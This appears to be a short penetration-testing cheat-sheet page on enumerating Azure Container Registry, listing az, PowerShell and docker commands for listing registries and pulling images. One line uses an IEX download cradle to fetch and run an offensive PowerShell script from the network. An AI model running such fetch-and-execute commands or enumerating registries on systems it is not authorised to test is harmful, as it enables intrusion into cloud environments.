Az - ACR

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Basic Information

Azure Container Registry (ACR) is a managed service provided by Microsoft Azure for storing and managing Docker container images and other artifacts. It offers features such as integrated developer tools, geo-replication, security measures like role-based access control and image scanning, automated builds, webhooks and triggers, and network isolation. It works with popular tools like Docker CLI and Kubernetes, and integrates well with other Azure services.

Enumerate

To enumerate the service you could use the script Get-AzACR.ps1:

# List Docker images inside the registry
IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1")

Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name "DisableFirstRunCustomize" -Value 2

Get-AzACR -username <username> -password <password> -registry <corp-name>.azurecr.io

az acr list --output table
az acr show --name MyRegistry --resource-group MyResourceGroup

# List all ACRs in your subscription
Get-AzContainerRegistry

# Get a specific ACR
Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry"

Login & Pull from the registry

docker login <corp-name>.azurecr.io --username <username> --password <password>
docker pull <corp-name>.azurecr.io/<image>:<tag>